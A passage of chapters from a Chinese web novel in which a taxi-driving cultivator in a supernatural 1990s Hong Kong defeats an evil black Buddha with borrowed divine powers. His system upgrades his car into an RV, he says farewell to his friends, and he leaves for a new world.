古德的脸色变得前所未有的凝重。
这已经上升到了世界存亡的层面!
他不就打个副本,怎么直接把关底终极BOSS给打出来了?
古德深吸一口气,眼中最初的震惊迅速被冷静取代。
“还好……我也不是全无准备。”
“不就是底牌么,谁没有呢!”
第249章 各位大佬,救命啊
古德深吸一口气,他知道是时候动用最后的底牌了。
只见他双手结印,口中念念有词,周身突然泛起一层淡淡的金光。
这金光起初很微弱,但很快就变得越来越亮,将整个战场都映照得如同白昼。
连那黑佛法相散发的浓稠黑暗,都被这金光逼退了几分。
再仔细听,在这令人目眩神迷的金光中,古德念的是.....
“咳咳……大圣,在不在?给个面子,帮把手呗?”
“三葬法师,来赶个场子?”
“最英俊潇洒、号称天庭颜值担当、迷倒万千仙娥的太白金星大仙,需要你的帮忙!”
“钟馗天师,救命啊!”
“.......”
这碎碎念的话,让那尊散发着恐怖威压的黑佛法相都愣住了,无数只暗红的眼睛里闪过一丝茫然。
下一秒.....
数道性质迥异、却同样磅礴浩瀚、充满神圣威严的力量,仿佛跨越了时空,从冥冥之中灌注而来!
“嘿嘿,有意思!俺老孙来也!”一道嚣张霸道的金色虹光,带着无匹的战意,跨越虚空而来,融入古德体内!
“阿弥陀佛,此獠为佛门败类,罪大恶极,当诛!””一道温和却坚韧的佛光紧随其后。
“道友相召,星宫有感,定当来赴!”清冽的星官之力洒落。
“邪佛受死!放心,有某家在!”凛冽的鬼神之威冲天而起!
“.......”最后,一道诡谲难测的紫色霞光,悄无声息地浮现,绕着古德转了一圈,也融了进去
五道强大的神力,如同百川归海,涌入古德体内!
古德的身躯仿佛成了一个巨大的熔炉,将这些属性各异、来源不同的神力容纳、整合!
他的气息开始以恐怖的速度攀升、蜕变!
周身闪耀起难以用言语形容的璀璨光华,金光、佛光、星辉、鬼神之气、紫色霞光交织在一起,形成一种混沌而强大的能量场。
在他身后,隐约可见一道顶天立地的虚影,那虚影时而如斗战胜佛般桀骜,时而如金身佛陀般慈悲,时而如星君般威严,时而如判官般肃穆,时而又带着一丝诡异的模糊……
仿佛有数位强大的存在将力量暂时借予了他,共同显化!
这一刻的古德,宛如神人降世,气息之强,甚至暂时盖过了对面的黑佛法相!
那尊黑佛法相,原本冰冷漠然、视众生为蝼蚁的无数只邪眼中,第一次露出了难以置信的惊骇与一丝慌乱!
“你……你到底是什么东西?!”
黑佛法相发出了惊怒交加的声音,那原本恢弘低沉、充满蛊惑力的声音都带上了剧烈的波动,甚至有些变调。
“区区凡尘肉身……蝼蚁之躯……怎可承载……如此多……神圣之力?!这不可能!这不符规则!你们……你们不讲武德!怎能跨界降临如此多力量?!”
它清晰地感受到了那五股力量源头所蕴含的位格与威严,那是在无尽虚空中都享有盛名的强大存在,其本体力量远远超出了此界所能容纳的极限!
黑佛发出了扭曲而愤怒的咆哮,声音中却透着一丝连它自己都没察觉到的恐慌:
“你们怎么敢的!你们破坏了规矩!此界乃无主之地,合该为我等资粮!弱肉强食,天经地义!你们怎能如此不顾身份,跨界插手?!这是我看中的牧场!你们这是强盗行径!”
它的咆哮中带着一丝色厉内荏,仿佛街头混混被更狠的角色堵住时,试图用道上的规矩来吓退对方。
古德根本懒得与这邪佛废话。
他不是谢潮等人,能与神力特别契合。
古德能清晰地感受到,体内那五股借来的神力虽然磅礴无边,却如同无根之萍,与此方天地格格不入,正在被世界规则急速排斥、消耗,根本无法持久!
就像一台超负荷运转的机器,随时可能崩溃!
必须速战速决!
趁着他还能勉强掌控这股力量!
“区区邪佛,也配谈规矩?诛!”
古德怒喝一声,将融合后的磅礴神力尽数灌注于青铜阔剑之中!
“铮——!”
剑身发出不堪重负的、仿佛要碎裂般的悲鸣,继而绽放出前所未有的璀璨光芒!
古德脚踏虚空,身形如电,主动冲向那庞大的黑佛法相!
第一剑,蕴含齐天大圣那战天斗地、无惧一切的破邪战意!
剑罡呈现出炽烈的赤金色,如
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同烧红的烙铁,撕裂阴暗的苍穹,以开天辟地之势,狠狠斩向黑佛拍来的、缠绕着无尽怨念的巨掌!
“嗤——!”
如同热刀切牛油!赤金剑罡过处,那巨大的佛掌连同半条手臂,被齐腕斩断!
无数怨魂在黑气中凄厉惨嚎着溃散蒸发!
黑佛发出一声痛苦与愤怒交织的咆哮!
第二剑,引动钟馗的伏魔真意,漆黑剑光专克阴魂,将黑佛周身护体的业火邪罡劈散,露出内部蠕动的怨念核心!
第三剑,太白金星的凌厉仙芒化作万千剑丝,如同天罗地网,将黑佛所有闪避的空间彻底封锁!
第四剑,申公豹的诡谲之力扰乱了此方天机,让黑佛的邪术运转瞬间凝滞!
最后一剑,古德倾尽全力,将唐三藏那无边慈悲的佛力化为最纯粹的净化之光,融合自身全部的法力与意志,化作一柄横贯天地,仿佛能斩断一切因果业力的金色巨剑!
“一切邪妄,终归寂灭!斩!”
金色巨剑带着度化一切、终结一切的意志,如同天道裁决,朝着黑佛那巨大的、布满邪眼的头颅,悍然劈下!
剑未至,那煌煌神威已经让黑佛周身的空间开始扭曲崩解!
“不——!吾乃玛哈嘎拉之影!你们不能杀我!我要去状告你们!你们等着!佛祖绝不会放过……”
黑佛发出了绝望而怨毒的尖叫,声音却越来越弱,充满了穷途末路的怂意。
“轰隆隆——!!!”
金色巨剑毫无阻碍地斩落,正中黑佛头顶!
没有惊天动地的**,只有一种仿佛积雪消融、朝阳初升般的净化景象。
庞大的黑佛法相,从那被劈中的头顶开始,寸寸碎裂,化作最精纯的黑色光点,随即被无尽的金色佛光彻底包裹、净化、蒸发!
那恐怖的威压、那吞噬世界的野心、那无数只令人作呕的邪眼,连同它那不甘的诅咒与哀嚎,彻底消散于天地之间,仿佛从未存在过。
天空中,乌云散尽,阳光重新洒落。
战场上,一片死寂。
只剩下古德持剑而立的身影,微微喘息,周身那令人心悸的五彩神光正在快速消退,脸色显得有些苍白,但眼神依旧锐利。
第250章 大结局?不,最后的选择是!
而在古德无法感知的、更高的维度层面,几个模糊而伟大的意识团,正饶有兴致地“看”着刚才发生的一切,并进行着轻松的交流。
一个充满野性不羁的声音响起,带着戏谑:“喂,听到没?那黑厮说要告我们去?打不过就告状,三岁小孩啊?”
一个温润平和的声音笑道:“呵呵,劣徒顽皮,让诸位见笑了。不过此獠心术不正,觊觎此界,确实该惩。”
一个刚正凛然的声音冷哼:“告?它自身业障缠身,罪恶滔天,有何面目去告?依我看,不如直接打上门去,找它本尊说道说道!此界与吾等渊源颇深,岂容它肆意妄为?”
一个带着几分仙风道骨的声音附和:“善。此议大妙。正好吾那方天地也有个不省心的大黑天,终日惹是生非,不如一并劝化一番。”
又一个充满野性的声音响起:“同去同去!俺老孙的金箍棒早就饥渴难耐了!”
最终,一个冷漠的声音做了总结:“此间事了,因果已了。此子……不错。诸位,散了吧。”
话音落下,那几个意识团便如同从未出现般,悄无声息地消散了。
这些对话古德自然听不见,但另一个声音却清晰地在他脑海中响起。
"叮,汲取到世界本源,系统开始正式升级。预计升级时间一个月,升级方向根据宿主选择决定。选项一:留在本世界。选项二:前往其他世界。请宿主注意,您的选择将决定系统升级方向。"
古德看着脑海中浮现的系统提示,微微一愣。
他没想到,击败那黑佛化身,竟然意外获得了所谓的世界本源,直接促使系统开始了最终升级,而且还要面临如此重大的抉择。
他的目光下意识地扫过战场。
谢潮、周星星等人正相互搀扶着,虽然狼狈,脸上却洋溢着劫后余生的喜悦和胜利的兴奋。
得仔一脸崇拜地看着他,眼神里充满了对未来的期待。
就连一直躲在出租车里、此刻才敢探头出来的阿草,也拍着胸脯,一副心有余悸又与有荣焉的模样。
这个世界,有和他并肩作战的伙伴和熟悉的朋友……虽然诡异频发,但也充满了烟火气。
是留下,成为这个世界的守护神,过着虽然忙碌但充实有伙伴的日子.....
还是离开,去追逐修行的道路,让自己变的更加强大.....
"系统,能不能晚点再做选择?"
古德在脑海中问道。
"可以,但请在24小时内做出决定。"
系统机械地回应。
古德点了点头,暂时把这件事放在一边。他走向众人,脸上挤出一个疲惫的笑容。
"结束了。"
他轻声说道。
众人先是一愣,随即爆发出热烈的欢呼。
谢潮一瘸一拐地走了过来,用力拍了拍古德的肩膀,虽然脸色苍白,却笑得爽朗:
“阿德!牛逼!这次真是多亏你了!晚上必须摆庆功宴!我请客,地方随便挑!不醉不归!”
周星星也凑了过来,虽然胳膊上还挂着彩,却还是那副没正形的样子:"就是就是,今天非得好好庆祝不可!刚才可把我吓坏了,现在腿还软着呢!"
古德笑着点了点头。
“收队!打扫战场!手脚都麻利点!”谢潮大声指挥着。
后勤队员们开始忙碌起来,处理邪气残留,回收还能用的法器,救治伤员。
虽然人人带伤,疲惫不堪,但气氛却异常热烈,充满了胜利的欢快。
周星星不知从哪摸出来一包皱巴巴的香烟,给每个人都发了一支。
几个大男人就这么坐在水泥地上上吞云吐雾,看着忙碌的现场,一时间谁都没有说话。
夜色渐深,九龙附近一家颇有名气、烟火气十足的大排档。
异灵灵异部门几乎全员到齐,包下了露天的十几张大圆桌。
桌子上摆满了经典的港式大排档美食。
镬气十足的干炒牛河,金黄酥脆的椒盐濑尿虾,香气扑鼻的避风塘炒蟹,热气腾腾的煲仔饭,还有堆成小山的烧鹅、叉烧,以及必不可少的插着吸管的巨大冻奶茶和冰啤酒。
周星星头上缠着绷带,却精神头最足,正站在椅子上,手舞足蹈地比划着,唾沫横飞地向后来赶到的后勤队员吹嘘:
“你们是没看到!当时那黑大个,比两层
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楼还高!拿着那么大的**!我一看,哎哟,这还得了?说时迟那时快,我一个鹞子翻身,再一招猴子偷桃……不对,是猴子摘桃!直取他要害!打得他哭爹喊娘!”
马季在一旁拆台:“得了吧阿星!我明明看到你被那楚人美追得满场跑!”
众人顿时哄堂大笑。
郑立憨厚地笑着,给马季倒了杯啤酒。
得仔坐在周星星旁边,一脸崇拜地听着,不时发出惊叹。
于子朗和高彦博则相对文静,一边吃着菜,一边低声讨论着今天战斗中遇到的各种邪术原理和应对方法。
谢潮端起一杯啤酒,站起来,大声道:
“兄弟们!今天这一仗,打得漂亮!虽然凶险,但我们赢了!从此这个世界最大的诡异异组织已经消散!为了胜利,也为了我们还能坐在这里大吃大喝!干杯!”
“干杯!”
所有人都举起酒杯,无论受伤轻重,无论职位高低,此刻都沉浸在战友的情谊和胜利的喜悦中。
酒杯碰撞声、笑闹声、吹牛声此起彼伏,充满了市井的鲜活与温暖。
古德坐在主位,看着眼前这一幕,心中微暖。
阿草乖巧地坐在他旁边,不停地给他夹菜,眼睛里闪着光。
饭后,众人各自散去休息。
古德婉拒了周星星再去唱K的提议,带着阿草,回到了元朗那栋安静的小洋楼。
夜已深,月光如水。
古德独自一人站在二楼的阳台上,望着远处市区方向依旧闪烁的零星灯火,以及更远处维多利亚港的朦胧光影。
这个90年代的香江,混乱、粗糙,却充满了生机与无限可能。
他的脑海中,再次浮现出系统的那个选择。
留下,还是离开?
他想起了穿越之初的迷茫,想起了第一次驱邪时的紧张,想起了与谢潮、周星星他们并肩作战的种种,以及后面越来越多加入进来的伙伴……
他摊开手掌,感受着这个世界的空气。
良久,古德深深地吸了一口气,眼中闪过一丝坚定。
他有了决定。
他闭上眼睛,意识沉入脑海,对着那个等待已久的系统,清晰地说道:
“系统,我选择……”
第251章 确定升级路线,系统升级
夜深人静,月光透过百叶窗的缝隙,在古德脸上投下斑驳的光影。
他望着窗外沉静的夜色,心中已然有了决断。
这个世界很好,有并肩作战的伙伴,有熟悉的市井烟火,但……他的路,不在这里止步。
那片更加浩瀚、充满未知的诸天万界,才是他真正向往的舞台。
他闭上眼睛,对着系统界面,清晰而坚定地说道:
“系统,我选择……前往其他世界。”
“叮——宿主选择确认。选项二【诸天之旅】已锁定。系统开始最终升级流程,预计所需时间:10天。”
冰冷的电子音落下,古德长长地吐出一口气,心中一块大石落地,却又涌起一丝淡淡的惆怅。
十天,还有十天。
这十天,或许可以给这个留下不少回忆的世界,留下一些属于自己的印记。
接下来的日子,古德变得异常忙碌。
他首先将这次大战的战利品仔细清点、封装好。
那些被击溃的鬼物,如楚人美、扶桑嫂、贞子残片、鬼修女等,虽然看似被打散,但它们蕴含的不死特性使得其本源怨念并未彻底湮灭,只是暂时失去了形态。
这些对于普通人来说是烫手山芋的玩意儿,对鬼差岚婆来说,却是上好的货物。
古德再次联系了岚婆。
当岚婆看到古德这次带来的好货时,饶是她见多识广,那布满皱纹的脸上也露出了难以掩饰的惊讶之色。
她伸出干枯的手指,小心翼翼地触摸着那些封印着强大怨灵的符袋和铅盒,眼中精光闪烁。
“啧啧啧……阿德,你小子这次可是捞到了一大网大鱼啊!”
岚婆咂着嘴,语气带着惊叹。
最终,这批优质货为古德换来了足足两万点的阴德!
这还是古德将其中一部分阴德按照功劳大小,分润给了谢潮、周星星等参与了最终决战的成员后的。
扣除这部分后,古德自己净收入两万点阴德。
再加上之前账户的阴德余额,除去系统升级扣除的部分,他估计自己目前剩余的阴德点数在了两万三千点左右。
“足够将出租车的核心部件好好升级一番了。”
古德心里盘算着。
等系统升级完毕,这些阴德应该能升级不少车子零配件。
处理完阴德问题,古德又找到了谢潮。
“阿潮,还得麻烦你件事。”
古德开门见山。
“帮我搞一批上好的炼器材料,朱砂、雷击木、玄铁、星辰砂什么的,品质越高越好,量要大。另外,把兄弟们的法器都暂时交给我。”
谢潮虽然有些疑惑,但还是毫不犹豫地答应了:
“没问题!仓库里还有不少库存,我马上让人去调!家伙事儿也给你送来!你这是要……?”
古德笑了笑,找了个借口:
“这次大战,我感觉大家的法器都有些跟不上节奏了。趁着这几天有空,我琢磨着帮大家升级强化一下。”
谢潮闻言,用力拍了拍古德的肩膀,激动的道:“不收费吧阿德!”
古德给了谢潮一个中指:“拿你们的材料抵了。”
材料和法器很快送到。
古德将自己关在小洋楼的静室内,先是心念一动:
“系统,消耗1100点公里数,将《炼器真解》提升到LV3。”
随着公里数的扣除,大量关于材料提纯、符文铭刻、能量引导、灵性蕴养的高深知识涌入脑海,仿佛经历了几坤年的专研。
古德对炼器的理解瞬间达到了一个新的高度。
他静心凝神,开始工作。
先是处理材料,以真火淬炼,祛除杂质。
然后根据每件法器的特性和使用者的习惯,重新设计内部符文结构,融入更高效的聚灵、破邪、坚固阵法。
他以自身精纯法力为引,小心翼翼地将新的力量注入法器核心。
整个过程耗时数日。
当古德略显疲惫地走出静室时,他带来的是一批焕然一新的神兵。
周星星谢潮他们那根打鬼棒,此刻通体呈现暗红色,隐隐有雷纹流动,舞动间自带风雷之声,被古德称为诛邪灭魂棒。
郑立的打鬼鞭,鞭身变得更加柔韧乌黑,挥动时竟有淡淡的龙吟之声,鞭梢一点寒芒,专破邪祟护体罡气。
古德称之为:九天十地上天入地唯我独尊打鬼鞭。
虽然古德起的名字有些夸张,但这些法器的威力确实提升了一个档次,对付一般的恶鬼厉鬼绰绰有余,更能节省使用者法力,甚至小幅增幅其法术效果。
除此之外,古德还绘制了厚厚几沓各种功能的符箓,以备不时之需。
他还将一些比基础呼吸法更高效、但门槛不算太高的修炼法门,精心整理成册,留给了谢潮。
他隐约感觉到,自从那尊黑佛化身被消灭后,这个世界的灵气似乎变得活跃了一些,原本沉寂的天地规则也在缓慢复苏。
或许,这个世界本身遗失的修炼传承,也有重见天日的一天。
这十天里,古德开出租车的时间明显减少了,公里数赚取的速度慢了下来。
加上升级《炼器真解》消耗的1100点,他当前的公里点数最终停留在了7200点。
但他并不太在意,毕竟系统升级后,赚公里数的方法会更多,就像第二次升级一样。
他更多的精力花在了为异界生存做准备上。
谁知道系统会把他丢到什么鬼地方?荒山野岭?原始部落?或者战火纷飞的异大陆?
不过估计系统也不会把他扔在古代之类不能打车的地方,毕竟这是出租车系统。
但是有备无患,小心总不会出错。
古德大量采购了易于储存的罐头食品、压缩饼干、纯净水、急救药品、野外生存工具、甚至还有几套不同气候的衣物和睡袋,全都放入扩容后的后备箱里。
阿草看着古德像仓鼠过冬一样囤积物资,好奇地问:
“老板,我们是要去荒野求生吗?”
古德也曾担心过阿草的问题,特意询问了系统。
系统的回答很明确:“随从单位‘阿草’已与宿主建立深度灵魂契约,可视为宿主附属单位,允许跟随穿梭。其存在本身
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消耗由系统承担。”
古德将这个消息告诉阿草后,这只黑鼠尾草魔兴奋得差点现出原形,在屋里飘来飘去。
她对这个世界本就没什么归属感,能跟着古德去探索更广阔的世界,对她来说是求之不得的冒险。
十天时间,就在这种忙碌而充实的准备中,匆匆而过。
第十天的夜晚,古德清点完最后一批物资,正坐在客厅沙发上休息,脑海中终于响起了那声期待已久的提示音。
“叮——系统升级完成。全新系统【诸天万界滴滴接单系统】,正式为您服务!”
古德先是一愣,随即猛地从沙发上跳了起来,忍不住脱口而出:
“我靠!我就知道!我就说嘛!当初看你那个德行,又是出租车又是公里数的,迟早要变成滴滴打车!你看!被我说中了吧!你个狗系统,果然是个开网约车的!”
“唉……不对,不是打车,是接单?”
他对着空气手舞足蹈地声讨了一番,突然发现了盲点。
不过系统完全没有搭理他的吐槽,只是继续弹出新的信息流。
【系统升级说明:】
【1.本系统将接收来自诸天万界、不同维度、不同规则下的订单。】
【2.系统将根据订单难度、报酬及宿主当前实力,进行智能筛选与推送。】
【3.宿主完成订单可获得“诸天里程点”(原公里点数升级版)、本源能量、特殊奖励等。】
【4.为适应多元宇宙穿梭,宿主的载具将进行基础形态定制。】
【载具形态选择:请从以下四种基础车型中选择其一。此选择将决定初始载具的功能偏向,请宿主谨慎考虑。】
【1.全能房车:注重生存与续航,内置基础生活设施,空间拓展性优,防御力中等,适合长途探索与未知环境驻扎。】
【2.硬派越野车:极端地形适应性最强,速度与通过性兼备,攻击性改装潜力大,适合冒险、战斗任务及复杂地貌。】
【3.重载卡车(大运):载货空间巨大,可改装为移动工坊或仓库,但机动性较差,油耗高,适合资源收集、大规模运输任务。】
【4.新能源大巴车:乘客容量最大,可搭载多名盟友或特殊单位,但个体防护较弱。】
古德看着光幕上浮现的四个车型选项和简要说明,摸着下巴,陷入了沉思。
“房车、越野、大卡、大巴……还能自己选车型了?不错嘛,终于人性化了一点。”
他嘀咕着,“不过系统特意提示要‘谨慎选择’,看来这选择不只是换个皮肤那么简单,很可能关系到后续摸发展方向。”
他的目光在四个选项上逡巡。
“越野车看起来最靠谱,如果真是跑滴滴车接单,跋山涉水都方便……”
“大运卡车?载货是多,但我这小本生意,又不是搞物流的,而且看起来就很耗油,PASS。”
“新能源大巴车?怎么充电?。”
所以,古德对着系统界面,做出了最后的选择:
“系统,我选择……选项一,房车!”
第252章 升级房车
“叮——宿主选择确认。基础车型锁定:全能房车。开始载具形态转换……”
系统冰冷的提示音刚落,古德就感到脚下传来一阵轻微却持续的震动。
他连忙走到窗边,看向楼下院子。
只见那辆熟悉的红色出租车,此刻正被一层柔和的白色光芒笼罩,车身轮廓在光芒中如同液体般流动、变形、扩展……短短十几秒后,光芒散去,原本的出租车已然消失,取而代之的是一辆线条流畅、外观大气、颇具现代感的白色房车。
它的造型很像古德穿越前那个世界知名的凯伦宾威ZK5048型号,但细节处似乎又多了几分难以言喻的超越时代的科技感与神秘符文若隐若现。
“啧啧,这升级,真是**换炮啊。”古德心里嘀咕了一句。
随即,系统界面再次刷新,列出了详细的变化:
【载具升级完成:全能房车(基础形态)】
【房车零配件强化、附魔、特殊功能加载,请在系统商城使用阴德点数进行选购。】
【重要提示:房车动力系统已更改为阴德燃烧引擎。日常行驶及特殊功能启动,将消耗阴德值。当前能耗基准:每行驶100公里,消耗1点阴德值。】
【里程点系统更新:进入新世界后,公里点数获取规则变更。只要驾驶车辆行驶,即可自动积累公里点数。新标准:每行驶10公里,获得1点公里点数。】
【系统升级规则变更:后续系统升级将不再消耗阴德点数,改为需要完成特定订单后获得的世界本源能量。】
【完。】
信息到此戛然而止,界面最后显示着一个冷冰冰的【完】字。
“……”
古德看着这个“完”字,嘴角微微抽搐了一下,心里一阵无语。
“这就完了?也太简洁了吧!诸天里程点具体能干嘛?世界本源能量怎么获取?订单怎么接?危险系数怎么样?啥都没说啊!你这样我要给你丢去转转了!”
他忍不住对着空气吐槽了一番。
似乎是被他的怨念触动了,系统界面竟然真的又闪动了一下,弹出了新的提示。
【检测到来自编号9527世界的滴滴订单,已接取。】
【传送倒计时:24小时。请宿主做好准备。】
【订单基础奖励:诸天里程点(数额根据完成度评定)、世界本源能量(微量)。】
【诸天里程点用途补充说明:诸天里程点可将任意已掌握技能提升至LV5(当前上限)。亦可将已达成LV5的技能,突破至更高的LV6层次(需满足特定条件)。】
“哟,还真给解释了啊。”
古德有些意外,看来这系统偶尔还是能沟通的。
不过,24小时后就要出发?
这倒是有点突然。
他看了眼时间,已经是晚上11点多。
也就是说,明天晚上这个时候,他就要离开这个待了不算短时间的世界了。
至于和谢潮、周星星他们正式告别……
古德想了想,觉得大张旗鼓地搞个告别会,反而会让大家更伤感。
他不太擅长应对那种场面。
不如……留信吧。
写得真诚点,等明天临走前,再给谢潮打个电话简单说一声。
想到这里,他走进书房,铺开信纸,拧开钢笔。
昏黄的台灯下,他沉思片刻,开始落笔。
给谢潮的,是感谢信任与
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并肩作战,叮嘱他遇事冷静,别总是冲在最前面;给周星星的,是插科打诨中带着真心祝福,希望他和阿敏早点修成正果。
给于子朗的,是欣赏其沉稳,希望他未来能担起大任;给每个人的信,内容都不同,都写了一些只有他们之间才懂的回忆和玩笑,也都写上了最后的告别与祝福。
写着写着,他的心情也变得复杂起来,有离愁,也有对未来的期待。
将写好的信仔细封好,分别写上名字,放在客厅的茶几上显眼的位置。
做完这一切,他才带着一丝疲惫和空落落的感觉,沉沉睡去。
第二天清晨,阳光透过窗帘缝隙洒进房间。
古德被生物钟准时叫醒。
阿草已经准备好了简单的早餐,白粥、煎蛋和榨菜。
两人沉默地吃着饭,气氛有些安静。
吃完后,古德站起身,深吸了一口气。
“走吧。”
他推开小洋楼的大门,清晨略带凉意的空气扑面而来。
他站在门口,回头深深地望了一眼这栋承载了他许多记忆的房子,眼神复杂。
有初来时的迷茫,有修炼时的艰辛,也有与朋友们相聚的欢笑。
最终,所有这些情绪都化为了一抹坚毅。
他转身,大步走向停在不远处的那辆崭新的白色房车。
就在他的手即将触碰到房车驾驶门把手的那一刻,一个熟悉的声音,带着几分戏谑和不舍,从他身后不远处响了起来:
“喂,这就打算静悄悄地溜了?太不够意思了吧,阿德。就算我们这帮家伙今天杀青了,以后可能见不着了,好歹也正式告个别,吃顿散伙饭啊。这么偷偷摸摸的,像话吗?”
第253章 你们在我的故事里杀青了
古德浑身一震,猛地转过身。
只见旁边一棵老榕树三米高的粗壮枝干上,谢潮正斜倚在那里,依旧是一身帅气的黑色风衣配皮裤,脸上架着那副标志性的墨镜,嘴角勾着一抹熟悉的的笑容。
见古德看过来,他利落地一个翻身,轻巧地落在地上。
树下,一个穿着淡雅长裙,气质温婉的漂亮女孩正微笑着看着他,那是他的女朋友。
谢潮很自然地牵起女孩的手,朝着古德走来。
“就是啊,阿德!还是不是兄弟了?想就这么不声不响地跑路?你知不知道这样我们会很伤心的!小心我画个圈圈诅咒你下次泡面没有调料包!”
又一个声音响起,带着周星星特有的风格。
只见周星星穿着一身骚包的亮黄色棒球服,戴着同色棒球帽,搂着他的女朋友阿敏,从旁边的小路晃了出来,脸上是夸张的悲痛表情。
“阿德,你这样就不对了,我还想着让你给我当证婚人呢!”
于子朗的声音传来,他身边站着**、于子晴,而他自己的手,正紧紧牵着一个英姿飒爽、眼神明亮的女孩,正是邢晶晶。
看来,这对欢喜冤家也终于修成了正果。
“臭小子!说好要我这边长期给你供应一年符纸朱砂的,我这账还没结清呢,你就想跑?”
纸扎陈提着一个看起来沉甸甸的木箱子,吹胡子瞪眼地出现,但眼神里却满是关切。
“阿德,我和阿红的喜酒你都没喝上,这像话吗?”
郑立憨厚地笑着,身边是笑容甜蜜的阿红。
“唉,以后香江出租车界最靓的仔就只剩我一个了,独孤求败啊,寂寞如雪……”
马季故作惆怅地叹气,手臂却紧紧搂着身边温柔秀气的贝贝娜,石敢当漂浮在他的身后。
“阿德,说好的把酒言欢,你这可要食言了。”
高彦博和古泽琛并肩走来,脸上带着遗憾的笑容。
“你就这么跑了,留我一个人当单身狗,压力很大啊!”
莫作栋开着玩笑,龙婆笑眯眯地跟在他身旁。
“古大哥……你,你一定要保重啊!”
得仔眼圈有些发红,声音哽咽。
看着这些熟悉的面孔,一个个从四面八方出现,将自己围在中间,古德只觉得鼻子有些发酸,胸口被一种滚烫的情绪填满。他
张了张嘴,想说什么,却一时语塞,最终只能化作一个带着些许窘迫和感动的笑容:
“你们……你们这群家伙……搞什么啊,弄这么大阵仗……我就是出趟远门,又不一定不回来了……被你们这么一搞,我都舍不得走了……”
谢潮走到古德面前,收起玩笑的表情,用力拍了拍他的肩膀:
“怎么,想偷偷开溜?门都没有!咱们可是并肩拼命过的交情,哪能让你就这么走了。”
说完,他转身打了个响指。
早已等候在远处的几名后勤队员立刻扛着几个大箱子小跑过来。
“阿德,知道你要走,我们也帮不上什么大忙。这些是你平时用得最多的顶级雷击木、星辰砂、朱砂,还有特制的黄符纸,都给你备齐了。路上应该用得上。”
谢潮指着那些材料说道,“兄弟只能帮你到这儿了,以后找这些材料……就要靠你自己了。”
古德心中暖流涌动,他心念一动,房车的后备箱自动打开。
他上前触摸那些材料,材料便化作一道流光被收入车内升级后扩容的巨大储物空间中。
这房车升级后空间也拓展很多,还带意念存取功能,十分方便。
“谢了,阿潮。”古德重重地回拍了谢潮一下,“你也保重,别老是那么拼,好好对嫂子。”
他看了一眼谢潮身边温婉的女子。
这时,周星星也凑了上来,神秘兮兮地从背后掏出一把用布包裹的长条物,塞到古德手里:
“阿德,给!这是我内地表哥托人捎来的宝贝,据说由天山寒铁淬炼而成,传说为铸剑天王干将莫邪的御用菜刀,经七七四十九天锻造,吸收日月精华。??你带着防身!以后……常回来看看!”
古德接过刀,入手沉甸甸,扯开布角,看到刀身上刻着的字:“民族英雄—**赠”。
他愣了一下,随即失笑,没想到那位居然还是周星星的表哥?
他收起刀,笑着锤了周星星一拳:
“行了,知道了。你和阿敏的喜酒我是喝不上了,红包我放你法器旁边了,到时候别嫌少。抓紧时间,多生几个,以后组个星星帮。”
周星星眼眶一红,随即又恢复那副玩世不恭的样子:
“那必须的!不过红包要是厚度不够,我可要画圈圈诅咒你的!”
纸扎陈把那个木箱子递给古德,语气少有的郑重:
“臭小子,这是我最近连夜赶制的,各种功能的符箓,够你应付一阵子了。江湖路远,万事小心。”
古德接过箱子,感觉分量不轻,真诚地道谢:
“陈老爷子,多谢!您的退休金就还给你了,放在客厅,让阿潮转交给您。”
想起与纸扎陈初识的场景,古德心中感慨,缘分真是奇妙。
马季递过来一个小玻璃瓶,里面是鲜红的液体,他挠挠头,有些不好意思:
“石敢当说我的血阳气足,画符效果特别好。我也没别的好送你的,这个你拿着,关键时刻可能有点用。”
古德接过这瓶马季牌精血,心里又是感动又是好笑,郑重收下:
“谢了,小马哥。你也好好的,和娜娜幸福。红包我也准备了,怕赶不上你们的喜酒。”
高彦博、郑立、莫作栋等人也纷纷上前,与古德拥抱、握手,说着告别和祝福的话。
古德环视着
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这一张张熟悉的脸庞,强压下心中的酸涩,抱拳朗声道:
“好了!送君千里,终须一别!山水有相逢,诸位,多多保重!咱们……江湖再见!”
就在这时,一道青光破空而来,悄无声息地悬停在古德面前。
古德伸手接住,发现是一块巴掌大小、非金非木、触手温凉的青色令牌,上面刻着复杂的幽冥符文。
他抬头望去,只见不远处,岚婆撑着黑伞,静静站立,脸上带着意味深长的笑容。
“古小子,”岚婆的声音缓缓传来,“不管你去了哪个世界,需要出货或者遇到解决不了的麻烦,就在这令牌前插上四柱清香,婆婆我自然能感应到,会去找你。你这优质供货商,老婆子我可不想丢咯。”
古德握紧令牌,笑着回应:“还是岚婆您神通广大,路子野!放心,有好货一定先联系您!”
最后看了一眼众人,古德拉开车门,坐进驾驶室。
阿草早已乖巧地坐在副驾驶位上,系好了安全带。
她看着窗外那群情汹涌的送别场面,小声对古德说:“老板,你的这些朋友……真好。”
古德笑了笑,习惯性地轻轻弹了一下她的脑门,然后深吸一口气,发动了房车。
他透过车窗,对着外面用力挥了挥手,大声喊道:“走了!兄弟们,杀青快乐!都好好的!”
窗外,谢潮、周星星、于子朗……所有人都用力地挥舞着手臂,脸上带着笑,眼中却有不舍的泪光,大声回应着:
“保重,阿德!”
“一路顺风!”
“记得常回来看看!”
“别忘了我们!”
嗡——!
房车周身亮起柔和却耀眼的白光,空间开始微微扭曲。
下一刻,整辆房车连同车内的古德和阿草,瞬间消失在原地,仿佛从未出现过。
就在光芒消散的下一秒,一个胖胖的身影气喘吁吁地从小路尽头狂奔而来,一边跑一边喊:
“阿德!等等我!我来送你了!阿德——”
曹达华冲到近前,看着空荡荡的场地和一群表情复杂望着他的众人,猛地刹住脚步,一脸茫然地喘着粗气:
“又……又又……又来迟了?不是吧……我又没赶上?”
众人看着他这副模样,先是沉默,随即不知是谁先忍不住,“噗嗤”一声笑了出来,紧接着,大家都笑了,笑声中带着离别的伤感,也带着对未来的祝福,在这清晨的阳光下,传出去很远,很远。
(ps:港综+港诡的世界结束,下一章是新世界了,或许这个世界还有很多故事没有写完,也许会有遗憾,但是在我的心里,这个世界的故事已经结束了,感谢诸位一路靓仔靓女们的一路陪同。)
(ps:如果写告别,你们会怎么写,或者说你们是怎么告别的,可以留言一下。)
第254章 我这一生只打巅峰赛
9527宇宙。
夜色如墨,山林死寂。
月光艰难地穿透浓密的枝叶,在林间空地上投下斑驳破碎的光影。
空气中弥漫着泥土的腥味、草木腐烂的气息,以及一股若有若无、令人作呕的尸臭。
千鹤道长背靠着一棵粗壮的松树,道袍破损,嘴角残留着未干的血迹,脸色苍白如纸。
他手中的桃木剑已然断裂,只剩半截握在手里,剑身焦黑,灵性大失。
他胸口剧烈起伏,每一次呼吸都牵扯着内腑的剧痛,那是被僵尸重击后留下的内伤。
